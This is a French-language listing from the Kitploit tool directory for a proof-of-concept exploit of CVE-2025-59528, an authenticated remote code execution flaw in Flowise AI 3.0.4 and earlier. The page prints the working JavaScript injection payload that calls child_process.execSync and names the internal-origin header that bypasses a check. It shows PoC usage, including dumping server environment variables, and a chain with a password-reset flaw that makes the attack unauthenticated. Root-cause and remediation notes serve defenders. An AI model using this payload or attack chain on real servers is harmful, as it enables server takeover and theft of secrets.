Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Flowise-RCE-CVE-2025-59528 — Exploit d'exécution de code à distance (RCE) authentifié pour Flowise AI versions ≤ 3.0.4. Tire parti d'une vulnérabilité dans le point de terminaison /api/v1/node-load-method/customMCP pour exécuter des commandes système arbitraires via Node.js child_process.execSync(). Comprend un script PoC complet et des étapes de remédiation. | Kitploit
Outils/GitHubGitHub/r3nsi15/flowise-rce-cve-2025-59528
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubr3nsi15/flowise-rce-cve-2025-59528

Flowise-RCE-CVE-2025-59528

Voir le dépôt
11il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Exploit d'exécution de code à distance (RCE) authentifié pour Flowise AI versions ≤ 3.0.4. Tire parti d'une vulnérabilité dans le point de terminaison /api/v1/node-load-method/customMCP pour exécuter des commandes système arbitraires via Node.js child_process.execSync(). Comprend un script PoC complet et des étapes de remédiation.

Partager

CVE-2025-59528 — Exécution de code à distance authentifiée (RCE) sur Flowise AI

Aperçu

ID CVE : CVE-2025-59528
Logiciel concerné : Flowise AI
Versions vulnérables : <= 3.0.4
Version corrigée : 3.0.5 et ultérieures
Sévérité : Critique
Auteur : r3nsi15
Date : 2025

Description

Les versions de Flowise AI jusqu'à la version 3.0.4 incluse permettent à un utilisateur authentifié d'atteindre une exécution de code à distance (RCE) sur le serveur hôte en envoyant une charge utile JavaScript conçue sur mesure au point d'accès /api/v1/node-load-method/customMCP.

La méthode de chargement du nœud customMCP accepte une entrée contrôlée par l'utilisateur qui est évaluée côté serveur en tant que JavaScript, sans assainissement ni isolation adéquats. En injectant une charge utile qui exploite child_process.execSync de Node.js, un attaquant peut exécuter des commandes système arbitraires avec les privilèges du processus serveur Flowise.

Le point d'accès exige également que l'en-tête x-request-from: internal soit présent.

Point d'accès concerné

Point d'accèsMéthodeAuthentification requiseObjectif
/api/v1/auth/loginPOSTNonAuthentifier et obtenir une session
/api/v1/node-load-method/customMCPPOSTOui (cookie de session)Point d'accès vulnérable de la méthode de chargement de nœud

Preuve de concept

Fichier : CVE-2025-59528_POC.py

Prérequis

  • Python 3.x
  • Bibliothèque requests
  • Identifiants valides pour un compte utilisateur sur l'instance Flowise cible
root@kitploit:~
pip install requests

Utilisation

root@kitploit:~
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

Arguments

DrapeauForme longueRequisDescription
-e--emailOuiAdresse e-mail de l'utilisateur authentifié
-i--urlOuiURL de base de l'instance Flowise
-p--passwordOuiMot de passe de l'utilisateur authentifié
-c--cmdOuiCommande système à exécuter sur le serveur

Exemples

Vérifier l'exécution de code :

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

Récupérer les variables d'environnement du serveur :

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

Résultat attendu

root@kitploit:~
[+] Connecté
[+] Exploit envoyé
[+] Statut : 200

Analyse de la charge utile

L'exploit injecte l'expression JavaScript suivante dans le champ mcpServerConfig :

root@kitploit:~
({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') — charge le module d'exécution de processus intégré de Node.js.
  • execSync('<command>') — exécute de manière synchrone la commande système fournie par l'attaquant.
  • L'expression entière est encapsulée dans un littéral objet pour garantir qu'elle s'évalue proprement dans le contexte JavaScript du serveur.
  • L'en-tête x-request-from: internal est également ajouté à la demande pour passer une vérification d'origine interne qui bloquerait autrement l'appel.

Cause racine

Le point d'accès customMCP transmet directement l'entrée fournie par l'utilisateur dans un contexte d'évaluation JavaScript sur le serveur, sans assainissement ni isolation. Combiné avec un accès illimité aux modules de base de Node.js (notamment child_process) via process.mainModule.require, cela crée un vecteur RCE trivialement exploitable. La vérification de l'en-tête x-request-from ne fournit aucune barrière de sécurité significative car elle n'est pas validée par rapport à une source de confiance.

Chaînage avec CVE-2025-58434

Ces deux vulnérabilités peuvent être chaînées pour une voie d'attaque RCE non authentifiée contre les instances Flowise exécutant les versions <= 3.0.4 :

  1. Utiliser CVE-2025-58434 pour réinitialiser le mot de passe d'un compte connu (aucune authentification préalable nécessaire).
  2. Se connecter avec les identifiants nouvellement définis.
  3. Utiliser CVE-2025-59528 pour exécuter des commandes système arbitraires sur le serveur.

Remédiation

  • Mettre à niveau vers Flowise AI 3.0.5 ou ultérieur, qui supprime ou isole correctement le chemin d'évaluation vulnérable.
  • Ne jamais évaluer des chaînes contrôlées par l'utilisateur comme du code dans un contexte serveur.
  • Restreindre l'accès aux modules Node.js dangereux (child_process, fs, etc.) via un bac à sable approprié (par exemple, vm2, contextes isolés, ou suppression de l'accès à process.mainModule).
  • Valider et authentifier l'en-tête x-request-from via un mécanisme côté serveur plutôt qu'une simple vérification de chaîne.
  • Appliquer le principe du moindre privilège au processus serveur Flowise.

Avertissement

Cette preuve de concept est fournie uniquement à des fins éducatives et de recherche en sécurité autorisée. L'utilisation de ce script contre des systèmes sans autorisation écrite explicite est illégale et contraire à l'éthique. L'auteur et les contributeurs déclinent toute responsabilité en cas d'utilisation abusive.

Télécharger l’outil